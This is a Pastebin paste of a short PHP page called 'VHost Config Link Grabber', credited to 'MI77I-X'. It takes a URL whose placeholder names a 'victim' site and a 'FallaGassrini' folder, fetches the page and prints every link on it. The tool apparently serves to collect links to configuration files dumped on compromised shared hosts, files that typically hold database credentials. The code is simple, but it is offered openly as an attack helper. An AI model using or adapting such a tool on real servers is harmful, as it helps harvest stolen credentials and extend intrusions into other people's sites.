Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head><title>VHost Config Link Grabber | MI77I-X</title></head>
- <body>
- <form method="post" action="">
- <span> Link Config:
- <input type="text" name="configurl" style="width:45%" placeholder="https://victim.com/somefolder/FallaGassrini/">
- <input type="submit" value="submit">
- </span>
- </form>
- </body>
- </html>
- <?php
- if(isset($_POST['configurl'])){
- $url = $_POST['configurl'];
- $html = file_get_contents($url);
- $dom = new DOMDocument;
- echo("Target: ".$url);
- @$dom->loadHTML($html);
- $links = $dom->getElementsByTagName('a');
- echo "<br/> Result: <pre>";
- foreach ($links as $link){
- //echo $link->nodeValue;
- echo $url.$link->getAttribute('href'), '<br>';
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement